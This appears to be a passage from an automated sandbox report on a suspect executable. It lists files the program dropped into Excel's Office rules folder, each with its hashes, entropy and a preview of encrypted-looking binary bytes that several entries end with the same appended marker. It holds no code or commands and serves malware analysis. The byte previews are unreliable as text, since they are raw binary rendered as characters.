SSDEEP:	24:M3cwzoRkX3V/PivoOxR8ST/rZCcso+zbAj6ElrPww1bD:Z0X3lPiLxR8gTjf+GrPwyD
MD5:	78F7CBFFECD72F63CF3FC1824717D88E
SHA1:	86320E7F074B3A62407CB3E4832F2187DDFBDC71
SHA-256:	7A7A8DD6F16A2A06B80F7E64E39C7112E2220B4DD867A0D887219C919A9102BF
SHA-512:	50D9C82C8BA385F15864733BB7EC1274C94F30030F300AF79B191D32DD2616A565A09F36524CAB8B0B4A3F5F1BF795809BC3EB8EAF37A63FD0C2120966E0217C
Malicious:	false
Preview:	<?xml.> m..#.....[\.wy7p.w .....2.i..6H..hT.5.5j....z...D..W.oI.&#r.;&)<......s~.Gs(2C.{.%..O../..,.@..'.q.....@...._......<._#.D.SM.+G..E.<%.......M....>....#n.i.....o..{!.=..{b...^....;.$.Tx..8....C......M..V}=.....h!...X..........7..........d..!.{...~..mG.J..u._.{X...S.......\|!,(.5.....S..q...2ET_2......z.Gj.].x.+.i..\|^X...y.w.Z...h..t.X..F..Ir..O..g.....{.E....]n.&e.!.F.k^...&../..k.OXVy)......K.....`.^.....V..zz...=Y."}7k..^.TU.FJ..M..K...6.{....\.%=.Od5.Y.:...&...;.X..z...<f..7.b...K.g...0.p..&;}.._Hi....\|..I....l..M.`.c.\.O0...@...UR...u.e....!%..t...0..?.NI5.S..;..R.4r....z....Z...fI.C.2.D....;..U.4..k.s.:.?....vz..>....Y.tW../8$.Q......^.....V...#p...8...-...;.,;cf....{.\|a..&."..PQ..D..B..{.d>..x0p0....G.Bvq"..[...nz\|.i*..\|;(..~;..u6.:f.\.Q.q~u.........,....&.....3FTU......w....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170075v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	7.815385807007213
Encrypted:	false
SSDEEP:	24:ta1skG19EVSNnoY3WAyEdbErtfy8NDKgexAQkOq/O3D1M5T0w1bD:MeTno0XlErlZRKgPO0q1MqyD
MD5:	5544A832FCF13F9E64B2A7383393D88F
SHA1:	575696D469BC0C16B34A971448630E747B416118
SHA-256:	07872BEA29F3255E71C0E65934555C01879E40589A6AC03D3444742BA0469A6D
SHA-512:	53D1A339A552671ADCE74F300E15D2AF392BF6FBEA0B584C90F9EA02C38648B88AAFCF4E6A033F5402EFBE2D87AC432F38F3A848A5A5DF84D03E203F9FE6EC9F
Malicious:	false
Preview:	<?xmlA..eT..R..;....U;..^..Y.U.......-......o.M.gI'...."...S.M>.Tl..R...(....@9....%8._-...a=.y....n.l.~H.]\|f?.......}.^.o...y...R...7...g..M.)8v..$cY......."\.<ySaR..N....A).V..8.....C..u..n.Y..!<...A..%.b:.S...X../..q.......%^..&./.o../.1l.g.....u..L.R.$U^..h.~[fE...E.R.....)rk.H."Z.pJ................'....@........e .qD....<.!..!.....o..(.^XJ. .l.L.V,].=..F.....[.M..y5.....O.....zAs.M.#..N9. 2~.}s-.....'b..h>.T.........s.........y..P^......T..o..".?~E1n!......Fo,}....~....1.&.)..{Tg..!E4..x,...>.l.#!<..\|...Z.....c......~...B..Jq.P......B...fp..~U.@%....2y.=.'p.4R.Z.L\|r....!89.5..4.aw......v...rE...=.5"...uG:.A.Ap.`..@.k.x...!.67.g..j..c!.....~\|.y.....WMyQ.P>.IP...<..\.,.m..,...A.yX.....h06....UR/TS..x.3bbx4%%c.......QR..._..o.Sc9.....<.A.....m;)G..X.BX.L..(...<..Is..A.u.g..].T..Z....D\|.........{..B.~.X3....f.......J.....*?.P...WJ.......2.]^.A..V.-.V.&...._..r...j....XT....B...a..i.<.Zs.w...i...m.@U.g..?<....../............r..is-Q..2.H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170076v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.676439335600295
Encrypted:	false
SSDEEP:	12:rjaCtUBmMnunh1gZB7oXENlaO2nUYdU92aa9lKI+uOZHZRMJ6soqw1cii9a:rmVmSu1XESO2nfQ2aa9lyZHZ6Xw1bD
MD5:	D1EA87EA9FDAFFBCB84E02B704A9D6A0
SHA1:	809AD47F0E68FC7A75972D05320C8A872CF1D195
SHA-256:	BC2AA1D2561AD40A9D5ADAEA0BE18E5E2999A0B311216367A4591C3493827254
SHA-512:	E415BDBD7E464A24A406BBE9B191FA7B660C3573E9AC23699575E39B5DE73D5547FC8EFD339986EE602A3AAB2050CA64FF1F32044B7AEBCA7868D75580103D63
Malicious:	false
Preview:	<?xmlvQ...QS..Y;..o.<.S.U;....c`p.............:...v$>.../.R...E.......b.....h.t...J..Q.Y]o........\|.........&..,....6w).-..-?^.5..;Mt3.....4a.].w.X.=Ho..Pw.(...SCi5....KeG.Wa.<(\|6.Y..I}.....C.....0.IR.5,.1..A...jE.Q=j..}.]..tb.v..?...I..7........zI.%..LU....I..T.k..&.%b4t.-....n".r..Kj....'..W.\,..)!...OC....@..}}...L\|(.e......I...../T.d.i...#...a..,.^V.6ua.~t..P.4...2`F...nHVv...?.&.........G..V.]vm?.d....;...v.....M.]Y../C.(........3&83.a.=..'b.E..x<.z...Go\....nD....w.m.....H.#9C.../..kE.......D....._.r%@.....t.._....\..^/X....R.&.........n$..I.UgS_6..P2.\|...h....Q.d...g?....^.b.e..Zi.06.J....6...I.tTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170077v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	723
Entropy (8bit):	7.676464852445372
Encrypted:	false
SSDEEP:	12:ui5dqdTFk0hU5Q1Us+kMdU3iiXlytz96/tckga9VryU7wE4d728Aepew2qoqw1cq:ui5EdV1TjSiq9GD9Vrys2d72zKeuw1bD
MD5:	9B90CB7F40948DB56AE31699974F2C8C
SHA1:	D08DAEA1830151E2D72947F0E2443A5377EB1DE4
SHA-256:	0D80D788AD3C7A37E0A2257E8E258FB2DD6EE792B0F5DFA3493FCB90B26027F5
SHA-512:	4A2AC544E6AA9DC0BAC8D4C37681760A7E50BAFC4F1FD7818C99207A3FDA19A09489E2C9CDA5EFD405E406CE675AC13D2A452A99BBC1478862D6D24C9D63C058
Malicious:	false
Preview:	<?xml.Vg<.....J....?.%}.'.F.....X..3I.....acqxt.\0)D.M.....7y...#KEU...C!s.._].e\|"5.v.........)J..=..gn`Z...........)...IQ.t....mF.N..07H"..p...IW.=V....d..~R....Yf..C...K..~...Qn.J...?..d..zQo..J......c.f>...o ..-....G.v...Wt/}2..}.V...........J\|...zs..Z."J......'^:.e.j......7?......2.2...".PE~=.[s..}0j.:j..={l....J...@.P....3.=..=x.L......O.7w.9...%..Y.J.P+.X..L........g.w.w...g..W..O...)....".....VW...M.......n..0"..4..b,.?&.q......[/...7).y.s.........Y.j._..}.....h....(.!1ocq`......\.`!..Kp....?}=<DA. ...t.._QlN..G..X.J...y...;H...t.....M.e:8.:.{v...(!8 Q.X{.E.!.a^TS......V!..U[lP....J..V......TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170078v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	817
Entropy (8bit):	7.732086928130618
Encrypted:	false
SSDEEP:	24:yX0sE8wYeF0FgEHglxc2/D5BejMn36+OPw1bD:yPrrQ0qEHMxc2tsSqbPyD
MD5:	510108175A3A27BBF633C014BB0D0664
SHA1:	0925AB25D4A801A36E76A6F7C4858E0EE31928E7
SHA-256:	843F683EF27AB8EDCC4A9E34F0ABDE6AC45D8B249C2EA314304ADFC4091BB05F
SHA-512:	C43239CF33673A6E29A8D7F7A9D0D08B7A9906997C179D3B91C44A3AAFB200AA0DC19E9FC1DBC78C4ED3FDA0B30967AF73B62C422A250A4333EBB0FE9CCD5311
Malicious:	false
Preview:	<?xmlf.B5j..0-.. ....5b.q.WL...515.kp............!... XD.i..o....5f...t...].S..(}"._8...T..e.R.._FKy..rD..H..8..N..._.$..p..#-.W.#o{b....M'.;.......z.{G.g..b..a.^^....\|3..Z..k....d.F.R.^B....k.Z.P.....P.v'..z)..F.o..o.....O...Z..>..(S....\|...VU....V.kA....1\|.e.q...i.;T<{...+3....c.....Fd...`......n.K2...?....w.....!...1m=#.......Q..S....s.I...V....E0.f..>..~=.....5.)]..............xi.J.B.....W..+.@...9G..iA.M..E..$.Y.{....f.cV...%m.......s......<.....'....{..7].4...s.....i.Pkp..'.K.....Q....O...G. 5..g.o$4.).1Q8yI..`rT[z..p$.P......S......:^.M..H/.i..a....Vg.@#.c-..>.!.EYY.B.........w..__}.^.j...........D.]<...".o..Xn...<.....r.WgJq..`.k.3&.....\.)T.'Z.}..N..E...i.I..R %.cZ..N.y..O[...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170080v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.7308505185482455
Encrypted:	false
SSDEEP:	12:QxtXR9Fu/y2SQ32h8jw5JRyYCdYFAenqyHjQo+2CFSaoCaCsoqw1cii9a:ojFu/ynQ32h8E560RqSQo+ew8w1bD
MD5:	4F029AF6C41982863FC923499BB6393F
SHA1:	B9D8C7B37A34570D7E16AB3E4F729E6C229E6ACA
SHA-256:	D3F47F43877FA82192921956F9CBE008712315B2A3F67B0F48D0F8ECAF6A2F24
SHA-512:	B82B8B9918A0A2A012795D2B81A41B9823AC2443351DC420F348FAB5EF43B334EB1A14BD258F4C7E7E44D4C5F50A2436E396AFC2A1B9DF25CCBDE5C7AB427CEE
Malicious:	false
Preview:	<?xml..P\|B.o..1..d.4kECx9.....~..F...<.....Y....=`Q.......?.z.L.}.jY..4.hn..._..K.Py.X2....z.a/4\..]..OU..E..hN^.y@..[g:y4O.....b........).]&.<..&S.Ee.4...l....1....Oof.W..._I..6l.'...n....=......g0....7.._..r]L..e5....Up...t......(.....X.1........ZrA[..B:.+;.A.X..#.HF..D^V.M.v..}T....>.UG+\|...2.8.<.p..).c@.2%.....\|rz..\.`.evE.....H..../....0O.$f..u.....%.7f..{!>C+.. ..lr(H.b......}.B.@\....L.....G...".J...a.wp...r........~..h7.,x{l.K)U..IT.c......m...u..."g.&...........,V.....L..u..T...`IN.......}OZ.\|.....O8.....j...9q[F5..+>.j.........?(.kl)...U..\.'...1....NZ..Q..x$...f../:.H.Y.,.d}..y.P.i.......ns.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170081v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	7.743499459158848
Encrypted:	false
SSDEEP:	24:nZF2kKMHfYimB0MtMflVz2KWfrIWITjF2/Zw1bD:nZ3dVaH7Il2/ZyD
MD5:	4A9EE59EEE259D651D402856A32178D0
SHA1:	265A5E041E9B45E178B241B5F664F777F4698FFC
SHA-256:	D92339E8375E06FB648250EF355EBC5370B021C806259EAE56A9C92B9E216E21
SHA-512:	28A7BA5C4E305646835BC3755B1B46F343D996D861C4919A3B392CB7F1CB862A10890468CA05A94EA4C9F7A5C015C439D8EE12A9CB738C2ABF3D3639D88B6DCC
Malicious:	false
Preview:	<?xml..((.d.......E...<D.Nj....<F.\.............+H.....j_....s.$.&.v...O$.EY.Y...OH6._.9..s.....,6y.1/'...E4...S....<.U.......bd.......b...........P.y.Y..n.9.r]a.P....'.56!'..=.J[..7y.2m....q...$@..Mk. (g..4W..U....=..L~c`X.D.W.b8.\|.Qvi.:'.\|.\|X.#a........6......2./oy.~...x.x..?.:..H.....h.....0H.,.u.e....Gcd......c.i.hw-.L..~e../......3..M....{V.>.h....?...&.]!...@.......-.....!.......+J..j.A{#.A(..@...,{........2.Y.... .{.Y.X.&....k=.u.{.:.-......V?..{.- .;3M.$...bg....A63.s...].... Tt%..:R8.....k..\...JY.8>.B\|).......#.ji.H...$Kq../..R.J...L..."\7.+.)@K4...y....6....C..+..GEt.. P0SO....E.\ .3.8a[.$*1.....GW.h._~?...@.V.H....1..3....CU@{.E.+$Q...+.`..d.n.L<.=3!.`.8N.M..Ld9..tJIu....6..j...r..........}.V>V-%.s..+}..."...V..7...G.3..}.#U[...(..p.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170082v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.669329471376943
Encrypted:	false
SSDEEP:	12:vQ5tb22REeknIInVk4fnam9rmLR+tC0FlmM0+YaCdqw44zS3jcInLT1moqw1ciik:veREouVTaXLX76YpdTrSRT12w1bD
MD5:	CF611BCA50CE01B22E8F68E5CB341C3D
SHA1:	0D7662088AE4C02E0E2F97913866194B48E1C904
SHA-256:	DFE841568B4458774190B7A63952AD1ED4FA2439FD4F3EAA84A949583D84CA48
SHA-512:	D02AAFE4F1E45D0BE0BFA9DAFEF72A95B216627905A2972DD307EA1D3A0F3C181E8BCD3C8E36BC3FEF01B399436E11C9A9471BA9B21A4C74467D111470E68197
Malicious:	false
Preview:	<?xml..,.+\|.:....P...jN..h..b......... A..%....F..g..p.j..p..j.p..\|..g..l^@Ze...HT...w..Lz...].U>vk...1.L,sG.3.Ha...2..(..^.Iw.E_V..u.5.u...N..r.D...)[.... . .....).n......%..w.ZT.F2C.......6./...qs.r...".....d..s.7.3d.B...$:E.*.Y...u.Pm"V...Rh.......f`......7..!..y.'K.I..'.6..T._...n.1i.....0.g.....lN.4d`.b.)%.S....C....4..>.5..c[.{.K...A?.........jE<....O....KA.g..=C.Nwsh..w#....p9..N.U.2=\|.+.gH..u+.F.....l......L9..Z~...b2.A0..E.T~v..J..E.2.A.V......F]h..]O...y.R.Y.).v.b.k......0..k. +.l.....@.=0X... .w....Z.K.....W.y.>..v.>.a{.G..&.z..a#..+....".A....P.O.5.89._w.&;...x.w=......-.c.7...;.0........y... .@.T.9IO{.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170083v6.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1421
Entropy (8bit):	7.860483975337434
Encrypted:	false
SSDEEP:	24:FYLME/H2vwT/2mk49fuJSL1W8DxkHHpb4EmmqEAjc3otv1ICDBw1bD:FS1H28/K49uJMW88HSE+FLF1ICDByD
MD5:	5C17AD6CCC6D6E1703B7A5D8E5B980DE
SHA1:	30596455AC4EBEDE77F1530B1701C1C65F3E3AA2
SHA-256:	28C0ACFDD3221F33988A0FE5D32685D81D223C7A9A347794572AB0ACA65392B9
SHA-512:	A31DCC6D4E4727EDB82B6093AA9851EC86DE986067542394122BC6E10E407D828FF53F6CCCF8AB729A3B69B10AFDE01ADFFD1938F94FBF0087F2C408F6572160
Malicious:	false
Preview:	<?xml.@....p....dN\|.2.....}...t[.:V.8fk\.`..........`.F.#.`.I..6.x%.j...!!.Y...xb.tB{$..k.}!...[f......@O~.0m......PH..../..W.......!..J.n....C...~J..\|.........4$......)4.).2.Y.q.5hZ.C.........8...Z/t....}t...:....'.O....k.....^<W..z&.4'.).....6Ars....<cWaS...P...}....M.??..2#.....w.c.s......u..1M..'....+.j.....1..-.`.G......YoV..o\|.;.}..X..Q.S.i7.K.........C..w..K...@....D.&R/....S.#.L.d.......r....=.....]l8{.`.i."......4.4"i....,.0....p$....m^.VN.E.......9U..Lpz...~8y.z..........&cNx9.G..n..:c.qekg......7.X..m..['HU.Q4R.[6.r...^..Fq.......C.Yq..`X..<s..$.k..fL.+.P$....v.;.-.x^....~euvGV.K.L.1..G...U......Pc.i..P.q.1.....T...soc=..Y.>...X98..&..zl.V..D........fo..YA~5. W..>..T...P/..-..,).d]0..z.3=)f...sg..._I...LR...;..(....(G.9M.._....D..R]w....~.....B..)..fF.+...L^...c"((c.Z....}/....\E.{m.A.......).E.j.....JU...G4J.\|...kP.q.Y........@..G.L.I/Y.jp.r"..(..a..j.F......t.0a...~n.z...Pf...?<...V.'(...[M..2.V.../{.S...oro.. ........G3..$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170086v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1171
Entropy (8bit):	7.822782569559764
Encrypted:	false
SSDEEP:	24:pBC5xRBmFW1B7s6uCZ+az0Emwxr92TolLYkUcdCXnEwP0Gyw1bD:pByxRBwWj7uv5wxr92TIwP8yD
MD5:	D61DD9166599DD2516F029CC73DB834F
SHA1:	A837EB68652AB2E186C6D18D76D612BC754A696A
SHA-256:	F07079DE61FA95B661E8AD25B262C5511EEDD7AA2F33F8242A743ADAEB82E514
SHA-512:	D47A662D6BB9C4F1A8986B71EE0E9F0DA7FF02AEC0780BA9B1571786A6A04D6066AD598136661DDEA6668A366C00CADCB8458A4AD883B2141DD0D28044D3AA2D
Malicious:	false
Preview:	<?xml....P.d.s.....k..u.25EI{T.8:....p..Z.c.u6.......x...yp.&...h[./x...Mt..........zLl....V...S....Kn..5..eBG..}...x..._...g...$..{..).;2fVJ....,..d.}.}..7.. ....#.V....w.....o.S..F...i.1.."..7V)..;...t[.n...r......K<V..3Ig.........@.w...d....2..-..Z..p_\|.E. .c .......AgZ.y.M.'..X.......8...T#.V.....BM..........l......:....._?.1.....$.fXE.$3.s....Og.e.[g.TzC].g!&K.{}A? .....kI.+b..(.m,.?.}.....I.....c9... ..3...VZ.F..B.[......n.X......,>U...,.%.Y~..~H.XYt...J.DI.y.gaD...M'R.....h.]..7_l.?%....rsP&..]...7.6.?g.-........cG5.9.]:..vT.P.&..I`..x.oP.....=.e(..\|^.o.T....}.C`..e$...I./3........m&...........)......M...&.o.K.....L.\|......{\5.j^P.j...A..S(.9.A..c....H.....I:....t..m%.O.a.0..@.p..y&2.....P3...?T....l....C....h...........h...6+.....-.!...z.[...B.m...~......\|_...Vs.?N.1M....v"L.P..;.Bp:.....r..i455.W7....v...cUl.t........gr1 b.m.N.!.\|C).V..'tP.k8..Y.e\|L.......s.m.vK........?0.#.@..i..uM._.rnC.p.]...B#O.Y{..q........C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170087v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1176
Entropy (8bit):	7.8248638081887805
Encrypted:	false
SSDEEP:	24:hzHhvIg6Z9zbLPcryoL1gCFLKIMn52SdpQR5/MHBKNGgf1YCw1bD:hLqfn3AL5Kh52Sdp05/MhYGYqCyD
MD5:	DD52D5FD54B1D80DA4D85EDB11399737
SHA1:	DF30197DC9A95F3977A8E9BF64490E36A337EEFC
SHA-256:	3A5D973C21340255FBC4A0DCDFBCFDAB65ED39EBE667FF932703FE50FCA9F9EE
SHA-512:	7B752416F77E4D14B407DC0EC8C9428DB9FD541CA04A65A67096D0013449BF0693703F6B3D81C3DA80099624971D9CC0E9725D2C834E28E03FC213DFC84BD935
Malicious:	false
Preview:	<?xml...2..n?.H...v...h6V.g.<6bX... ..\|..<.V....f.2...U.D....I.&.A..l6-.1;. ..-.R.i..)2..\.e)1..d...9.?...J....oO...42.i.+MB.s...R.k...k.G$;y.lo......(.../..K0.jw&...]nq...s..R.+...q......2.r......I.c.P.".J.!.X.......-..K.w)(\.{f0....P..6.v...?X..#.[.0.i.....I<...Y..KQ..y..".u.C!...........u...i.....w&.hOu.na.Mm.....d..7-?.....YB...O.I.....2........~J=2O.~...L8.F....\|SZ.57U...e.lp...~.."..P....7W....W'..<...e..Q..~{.2~..g...Y`......x...I..>5..d.W-.(...O_U...K.}s..@.;.W.....)b...\|..../..4../...@..\|J.`0...E?EN.J.,...>..?f.o...\|h....EA....f.$....P.jqI.#D.+.k...3a...i..>a.X._[./Jh..}...0w.(.&.d....IAX.....x.W..>....!.W...%..!X.."......]+.TL.T\|o.x.s.$..Op......x...w....U3#...p).....^.a.....vz..)m2....B...B!.,..n.T..z+..)y.n.A....+...i\|._.........!.+.(....dLhD....8.....=m.r.i.v.r.....Z.2B$.3...5Y.$...M........\|scuv..V......iI.."6.Y..G..e....;)...........l..7..,.P..N(].........U.6Q.Xt....Q..I.z+.+.(....\|.D....4h..........:.._.N...s..t1fr...9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170088v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	7.816659944766344
Encrypted:	false
SSDEEP:	24:LUo2ORWZQyEcns+D2OxyHwbVanG4TpAMLFt2y0+0TIJw1bD:LtDyVD2Oxy4an/T1ey0ZTIJyD
MD5:	FE79F27F6F258F650F0F307834344DD8
SHA1:	096E8379D3870820F88A2140469A236149EACE35
SHA-256:	FCA14EED767D2E022C6A24C49D34B57249FD6EF0F24138F410B889F3F2FFF007
SHA-512:	4FAC5B22C96DE852A422AC5C99AEAAE2040DC5F9842BF4D2865C9DBA11F121FCFDB71FD8F0B4167E54C2AA0E404B3C3BCAD0F1BB6335799794F6343017857E3D
Malicious:	false
Preview:	<?xml..b....6.C.v..HU...cWm.H.D%..J:=.}Z.z<.......{...7.B(...S...cOd&oB........).<...YU........ZF.}.;.&.@/l.<...m).1.....Q.S...V..../2.I.B.r....Q...o..LU...a...Y....gI.4U....X....g.yT.\|..j....'w.d9R.dE..}.RR..Jz..f..=.b........,0....Q.`W.f+.....T..Q.\.c.C..k..d..k\|!..eU...y.M.fq....7.C.......d...kr..=...Y.C.....".a>..\e..OS....$.k...Yk.....`.Y@Q.....s9L..].#..%me..+....g.3.7)...2..~.~g.Z<......./.b...s..F...U...%.@_....x.......n.....r...=.G..{.....)...-.X...Q..0..\|.#...yiV.6P.eX...p...D..K.O.... ...7TP.S.T[..%.l..`..8..'.aWj5...W.....\.b.#...x..<o^Ho\|.o......]2......}}.n.#D...X..[..V".2,.c.....C..7.....2j......R0..ze.VC.a"25.-I2l.D..hKu.k@. .W...1..........C.m..hR.OI.....N{.s..;.D.....#un{....Pi...s#..OL....)....OQ.)..:.B.....$.8.r...x.$_3A.O..1........v...2[t..D.+.4................C......6..1.....6..9(.p.k....m.......K.'.o7...1\|......'..<.`@.q......b.q.....h{fO.B...^L....S....v.....o./{.u...%.5{........Fc......z.m;..n(W..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170089v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	715
Entropy (8bit):	7.674355471628664
Encrypted:	false
SSDEEP:	12:4uCkRHuTW47qq1qb808oecf8UJvDYAo2+l10woqw1cii9a:4xaHuTW4dqA95ckCUAoJw1bD
MD5:	59ECC0BDD1EC61F7C2512B67FD7ED9BC
SHA1:	8C79F772C5CA8E4C203F99D6AA99ECE19B06F7D5
SHA-256:	06F79F6F2A84E08480C7DB716DEDE06718C27C64D7BB163A6DC1CF57D6FA71E0
SHA-512:	88C5F5E2AF93289F86C0173C1E419B18B4C551D26E99422360373FCAD641EC1949297E48644DB1871D1DE933087A8F57E0109B433583C557CFB8AB11BC0946EE
Malicious:	false
Preview:	<?xml_...?t'&...G..m../K..8@k.i..U5ZC .>h...].1M.fG8;.-.....!.5iI...%...:3Mn.E......e..VLq.).Q..-.H".....F....m..Ff...p........v..........T.Y.u.1..&........ .g.B.k...@xo.7pJ\| ..h...IL.5..1...Cy\..}.Ga.#.k)Q.k...w.(..:.2.xy...m[.e.;..H$.,Ra....?... ..As*..S35.Gp$.7V..3....l.Z7...A.\|...m.5S...\.r..l..?.......k.t....`..{....\...7..x<.........e__N.......D~a....CW..&[..$.0. ...@....p..5.U.F4;.#h&o.$..i....y.......R.j.5.%<.G...U....`.J..qg-.ll.........\|...@9...A.E...n..k.6l.Y..QC.E....a..2.)V.e.h.......~G.s.I..Fka.i..x..C.k.-....\|.>..zu]t.Wk..?a............^...$.`...GM.T<...(.z..!.E.9r.?B\|.1...O..UN..Rn.-.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170091v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.852114039681823
Encrypted:	false
SSDEEP:	24:LRJm6XrUe1IUZQysCkkzCAZS0IS7PpzAKeoErZF7za7MsTZU85fZR3kPKvFo4CJL:1o6Xm/0e2j1eoW7za75tHD3uKdwKLLF+
MD5:	07DF988E4394441EF0D8FFE3140DB329
SHA1:	0D7DE396190EE4A7454323E317D016CB56ABBE07
SHA-256:	83909B3A515A6CDF85B57B47E56A2B80BB05736914D74AE3541BB4677D4F9C3C
SHA-512:	573155A754040DDCA6305D548640DBCB330D822097B447328CCA17915FD7BB1E75F502890B813ABF5EDCEEA8C5B36C1EF16E51FCB7EAB448B4015A4765E881FB
Malicious:	false
Preview:	<?xml.....Z.&...,...L..8J..0(G.d{....B..w....(8/.[o..x:.....eH....2.\.B.%u.......Z....(>.$?..S5.8.$e..G...f.S...Q...=.9ve.>.3.7.....}..K..,.....3..x'....m.Q.jo..p.u2....I.d"..I....(.....W...g..J.....W.W..>........'.=..rQ'.....V..'..0h.4/.R.aKZ..P....&Q@i....i.A.....q.})....:\h....@.x.L....Eb.1B....uA...${.....qk7n..s.....}......m...u...k.9S........d.#U...L.lY..zT.;......R"...`...^r.3jJ...;.m._.......l.$.^.\V....J.........W..A..2{.Rz2.A.!.g..3v..a.I...r&.D...\|!.(a\Rf.......){i.....Mg........M;.....}O.6;}....]...._.!r...W.....ih._..`....uE.o....a.,4..{K......I.t.KY'.5u4...@.%.6.....Vo..7t;A.o.s....V.....b..^..S.cm.z:./,V....u.p..p.........'.G0...i.........,..M.:y...g8e.@-.t.A/.D.2....=A;.. .tE...:..T.x.......zB...U..g..OYI..gKKR.F.m.+_F.....;q.YS..;K:]....TT.j^.\$.^..3R.m....u.<."..M.v.....:.}]..s.p.r.V.I`;..m..\|...-y]Y...K.9....M..N.%m......\|<.}.$-.A.0.%..........}?.Gw.......z...#V]ii.1S.......eCb)..+.}..$...K.4y......n...:..=0o.A.<.@.....q.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule170095v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.756272639363278
Encrypted:	false
SSDEEP:	24:6YOHQ4U707iDoIQ5Uk1j563Xup/cu+7+izO2BirpKBx2w1bD:67UQ7iDXQb1j5Lcu+lzNBirpKH2yD
MD5:	AB80EBE88D0E37FC43B9C5F0071AE1B9
SHA1:	8747FF9933409CDB537D8CA8D5A82E8C88FA65CF
SHA-256:	51E2385E7C7F22DAF2DC064F1B34F37FE99C905485BEAD43DB38AD4670E97051
SHA-512:	B294E00916AA432FEAB008B2E935B9C50FD79965E281850071CBAE1254E3F1DA2EB21230C047FB19EE6B28E3DD575BF8810231B81F4677C8D1D5B5655AC2055F
Malicious:	false
Preview:	<?xml.f..~.C./d.&...../.]...b...[.M..M..{(.%.\|P.6.....5..7.\|.%.UhA$ .I...3{.....`..>.5.>...../@.A.t..a...\|.q....k..d...u.pJ`?Da=......\..+)S..../...4..........<I...Yv.c<.7.-.`!....d...3.T....:..J..BAk.....I.x.<..-..c..bNj.P{......k)A.)......+>&<.S}.;..h..U8..p.........3.....pVks...k...E.. +y..S..1..i...{/...:N......k...U.Bn."..S...Y...qy.......N..5.Xt _...=N..r8.N..j.;.?m...'A..R....a.42g.O..~..%.TU.kt.D.......K.<.[.....D.q.Q...s.Wg@E.5..1...U.-n.....A?.....N......6=e<o.:.f.@~@W.DP........@.._..q......"...ay..X.5.y.....MR.c}A..`..T.;M*.`..g.&.d.J...n.X8`..5......dS.._H....Q....H.....g....@b.z.:..../6Q..nF^.BT.`I.i.....ap.e.+...P.......f-.N.....4.A.....mhg~...k.N 